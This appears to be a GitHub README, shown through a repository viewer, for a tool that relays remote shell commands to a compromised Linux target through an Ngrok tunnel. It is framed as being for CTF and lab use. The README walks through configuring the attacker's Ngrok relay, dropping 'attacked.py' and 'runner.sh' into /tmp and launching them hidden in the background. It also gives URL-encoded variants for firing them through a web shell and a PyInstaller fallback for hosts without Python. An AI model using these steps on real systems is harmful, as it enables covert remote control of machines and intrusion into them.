| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Name | Name | Last commit date | ||
|---|---|---|---|---|
A stateful, non-interactive remote command execution relay designed for Linux-based CTF and lab environments.
This toolkit provides indirect remote command execution without requiring interactive TTY access or raw socket connections.
Note: This tool and instructions are exclusively for Linux environments.
Install Ngrok on your attacker system:
sudo snap install ngrokIf snap is not available on your system, follow the official instructions on the Ngrok Website.
Create an account on Ngrok, copy your authtoken, and configure your system:
ngrok config add-authtoken <YOUR_NGROK_AUTHTOKEN>Start Ngrok on HTTP port 8080:
ngrok http 8080Verify that Ngrok is active and listening on port 8080. Copy the HTTPS URL provided by Ngrok (e.g., https://xxxx.ngrok-free.app). Keep this terminal session active.
Open attacked.py and set your active Ngrok URL:
# Change this:
URL = "https://<your_ngrok_url>"
# To this:
URL = "[https://xxxx.ngrok-free.app](https://xxxx.ngrok-free.app)"Open runner.sh and set your target environment paths and Ngrok URL:
# Change these values:
URL="https://<your_ngrok_url>"
SCRIPT_PATH="/your/script/path.py"
LOG_PATH="/path/to/your/output/log_file.txt"
# To your specific target paths, for example:
URL="[https://xxxx.ngrok-free.app](https://xxxx.ngrok-free.app)"
SCRIPT_PATH="/tmp/attacked.py"
LOG_PATH="/tmp/execution.log"Place attacked.py and runner.sh into your target directory (e.g., /tmp or /run).
Execute runner.sh in the background:
nohup bash runner.sh >/dev/null 2>&1 &If launching via an active web shell or HTTP GET/POST command execution where special characters need URL encoding:
nohup%20bash%20runner.sh%20%3E%2Fdev%2Fnull%202%3E%261%20%26
If the target system does not have nohup installed or lacks /bin/bash:
Edit runner.sh to remove the nohup call on the script execution line:
# Change this inside runner.sh:
nohup python3 "$SCRIPT_PATH" </dev/null>"$LOG_PATH" 2>&1 &
# To this:
python3 "$SCRIPT_PATH" </dev/null>"$LOG_PATH" 2>&1 &Execute runner.sh in the background using subshell redirection:
(sh runner.sh >/dev/null 2>&1 &)%28sh%20runner.sh%20%3E%2Fdev%2Fnull%202%3E%261%20%26%29
Only follow this section if the target Linux system does not have python3 installed.
On a local Linux system, compile attacked.py into a standalone binary using PyInstaller:
pip install pyinstaller
pyinstaller --onefile attacked.pyUpload the compiled executable binary (dist/attacked) to the target system.
In runner.sh, change the SCRIPT_PATH variable to point to the compiled binary without the .py extension:
# Change this:
SCRIPT_PATH="/your/script/path.py"
# To this:
SCRIPT_PATH="/your/script/path"This allows execution on target systems that lack Python 3 environments.
python3 attacker.py> id
uid=1000(user) gid=1000(user) groups=1000(user)
>
| Back | FazBrowse Home | New Git URL |